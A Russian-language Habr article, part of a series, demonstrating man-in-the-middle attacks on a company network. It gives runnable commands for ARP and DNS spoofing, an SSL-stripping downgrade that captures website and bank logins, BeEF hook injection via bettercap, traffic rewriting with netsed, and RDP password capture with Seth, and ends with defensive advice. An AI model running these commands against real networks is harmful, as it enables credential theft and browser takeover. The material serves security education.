Хабрахабр

Сеть компании и MitM. Часть 2

Получить несанкционированный доступ к различным приложениям и системам? Перехватить конфиденциальную информацию? Все это и многое другое выполняют атаки типа Man in the Middle. Нарушить нормальный режим работы?

Рассмотрим представляющие куда больший интерес для злоумышленника уровни: с сетевого по прикладной. Сегодня мы продолжаем цикл статей, посвященный атакам «человек посередине» (и ряду сопутствующих) на типичные протоколы и каналы передачи, встречающиеся практически в любой компании.

Добро пожаловать под кат.
Заинтересовались?

Вспоминаем

Итак, в предыдущей статье мы остановились на спуфинг-атаках в проводных и беспроводных средах, показав техники мониторинга запросов и ответов к DNS-серверам. DNS был выбран не просто так – это одна из первоочередных целей. Почему? Все просто – практически любая сессия сейчас начинается с запроса IP-адреса целевого узла на DNS-серверах.

Врезку в оптику опустим, так как данный вектор атак очень затратен и для него необходимо специальное оборудование. Сегодня мы будем показывать атаки «на меди», но для того же Wi-Fi практически ничего не меняется кроме пары нюансов.

Я воспользуюсь парой следующих утилит: DNS2Proxy (утилите уже немало лет, но она до сих пор вполне боеспособна) и arpspoof (тоже немолодой). Для начала нас интересует «незаметный» перехват DNS-запросов.

Запускаем:

# arpspoof -r 192.168.180.254 192.168.180.1 // Первый IP – адрес жертвы, второй - маршрутизатора
# python2 dns2proxy.py -u 192.168.180.253 // опция -u позволяет установить IP-адрес, который будет возвращаться клиенту перед легитимными адресами
# iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53

Теперь проверим, как это отражается на машине жертвы, выполнив nslookup любого домена:

Также на скриншоте видно, что клиент считает, что ей отвечает легитимный DNS-сервер, что, разумеется, немного не так. Отлично, жертва получает необходимый злоумышленнику IP-адрес хоста, скорее всего, локальный IP-адрес устройства, с которого развивается атака. На самом деле, функционал утилиты DNS2Proxy довольно широкий: можно указать конкретные домены для спуфинга, а можно, наоборот, спуфить все, добавив некоторые в исключения.

А дальше нам надо развернуть «проксирующий» web-сервер, который будет строить 2 соединения: одно — «прокси» <> легитимный узел в сети, а второе — «прокси» <> жертва. Что дальше? Воспользуемся SSLsplit.

Запускаем:

# sslsplit –l 2000
# iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000

Проверяем, что будет, если мы попробуем перейти на какой-нибудь автомобильный портал, например, drom.ru:

Но с оговоркой: в качестве поддомена добавились wwww и webmy.drom.ru вместо my.drom.ru. И у нас есть незащищённое соединение! Я воспользуюсь net-creds. Попробуем авторизоваться, предварительно воспользовавшись какой-нибудь утилитой для просмотра транзитного трафика на устройстве злоумышленника. Смотрим что он выдает в консоль:

И у нас есть логин/пароль, отлично!

Это так называемая «downgrade attack». Вероятно, возникает вопрос: «В чем разница с предыдущей статьей?» Разница в том, что без данных манипуляций строится HTTPS-соединение, что делает практически невозможным перехват учетных записей.

Все тоже самое сработает даже с банками и прочими ресурсами:

Они здесь ничего не смогут сделать, ведь атака далеко за пределами их периметра! Но НЕ стоит обвинять банки, что таким образом пользователя могут «похакать». Кроме того, все они используют 2FA, что позволяет немного снизить риск получения доступа. Банк НЕ виноват!

Ряд браузеров хранит список доменов, с которыми требуется установка соединения через TLS, и подобная атака против них бессильна. Обратите внимание: таким образом обходится даже HSTS (HTTP Strict Transport Security), но не для всех ресурсов (о чем, я думаю, все или почти все тут уже знают). И Firefox, и Chrome/Chromium не будут строить с ним HTTP-соединение, оберегая пользователя. Простейший пример: google.com, а полный список для Chromium тут. Случай с доверенными корневыми ЦС особенный: это позволит генерировать под каждый домен сертификат на лету (так обычно работают DLP и прочие средства защиты, анализирующие трафик), что позволяет анализировать любое HTTPS-соединение без каких-либо проблем и уведомлений со стороны браузера. Впрочем, если злоумышленнику удалось каким-то образом добавить «свой» самоподписанный сертификат в доверенные или, ещё хуже, в доверенные корневые ЦС – не поможет уже ничего, просто потому, что браузер и система будет изначально считать их полностью легитимными и не выдавать никаких ошибок при их обработке.

Вы можете использовать любой аналог, например, bettercap, представляющий собой «комбайн» различных инструментов и выполняющий все те же функции, перечисленные ранее, а также ряд иных. Все инструменты, приведенные выше, уже морально устарели, так как используют Python2, поддержка которого скоро прекратится. Впрочем, для «реальных» атак этого хватит за глаза, и даже поможет не раскрыться раньше времени. Единственное замечание к его работе: последние версии не хотят по умолчанию «резолвить» все домены, приходится указывать конкретные.

Импорт JS ака XSS. Что ещё позволяет MitM? Начнем, используем bettercap и beef: А дальше широкий простор для творчества.

В bettercap включаем:

# set arp.spoof.targets 192.168.180.254
# arp.spoof on
# set http.proxy.sslstrip true
# set http.proxy.injectjs http://192.168.180.253:3000/hook.js
# http.proxy on

Если хотим внедряться на HTTPS-странички, то настраиваем и dns.proxy. В рамках демонстрации я обойдусь только HTTP.

Переходим на diary.ru и наблюдаем следующее в отладчике:

Смотрим, как дела в веб-интерфейсе beef:

Создалось 2 сессии, вероятно, из-за того, что я на фоне открыл ещё одну страницу, но это не проблема. Собственно, готово, мы «в браузере». Часть возможного функционала представлена на скриншоте в таблице «Module Tree». Теперь можно начинать творить бардак собирать информацию, развивать атаку, в некоторых случаях открывать шелл или же просто майнить. Для теста запустим получение fingerprint браузера:

С другой стороны, подобный доступ может сильно облегчить дальнейшее закрепление на атакованном хосте. Впрочем, разработчики браузеров не дураки и стараются прикрыть различные «дыры», позволяющие получить доступ по щелчку пальца.

Вообще эта атака тянет на отдельную статью, она может применяться даже при передаче образов виртуальных машин для получения доступа (быть может, когда-нибудь раскрою эту тему подробнее), но сейчас проведем небольшую демонстрацию, например, на сайте pasted.co – простейший ресурс, позволяющий на некоторое время обеспечить доступ к какой-либо текстовой информации. Перейдем к последней атаке на сегодня – подмена данных. Для атаки используем netsed.

Запускаем:

# netsed tcp 4000 0 0 s/Hello/HACKED/o
# iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000
# arpspoof -r 192.168.180.254 192.168.180.1

На атакованном узле переходим на pasted.co, пишем наше ‘Hello’, отправляем, получаем ссылку, открываем и видим наш ‘HACKED’. Пример простой, но, я думаю, представить, что в принципе можно реализовать подобной атакой не составит труда.

Пару слов о RDP и MitM

Есть такая интересная утилита, которая называется Seth и, по сути, является связкой aprspoof’а и sslstrip, но для RDP. Суть проста: при обращении на порт 3389 Seth действует аналогично sslstrip и строит «свое» соединение до целевого узла. Пользователь вводит учетные данные… и на этом можно заканчивать.

Запускаем:

# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1

Запускаем на клиенте RDP, подключаемся к любому RDP-хосту (я подключался к серверу за пределами сети 192.168.180.0/24) и вводим учетную запись. Лично я после этого этапа каждый раз ловил ошибку, хотя утилита должна проксировать соединение, но самую важную часть работы она выполнила:

В выделенном прямоугольнике был пароль в открытом виде.

Защищаемся

  1. Используйте все меры, указанные в нашей предыдущей статье. Это правда поможет! Отдельно добавлю включение DHCP-snooping’а, что позволит отсеять нелегитимные DHCP-серверы, которые могут заставить клиента все запросы отправлять на хост злоумышленника, избегая arp-spoofing’а.
  2. Если есть возможность, используйте расширения типа HTTPS everywhere. Оно автоматически редиректит на https-версию сайта, если он включен в его базу, что позволяет избежать HTTPS downgrade.
  3. Относительно DNS можно использовать DNS-over-TLS/DNS-over-HTTPS или DNSCrypt. Инструменты не идеальны, поддержка может быть довольно болезненной, но в некоторых случаях это – неплохая мера защиты.
  4. Научитесь и научите семью, друзей и коллег обращать внимание на адресную строку: это важно! wwww.drom.ru, уведомления о незащищенном соединении на ранее «беспроблемном» ресурсе – зачастую верный признак каких-то анормальностей в сети.

Обращайте внимание и на аномалии в RDP-сессиях: неожиданно изменившийся сертификат – плохой знак.

Или нет? На этом пока все. Или инъекцию в PE-файлы? Друзья, хотел бы у вас узнать, а интересна ли вам атака на гипервизор и миграцию машин? Ждем ваших комментариев и вопросов!

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть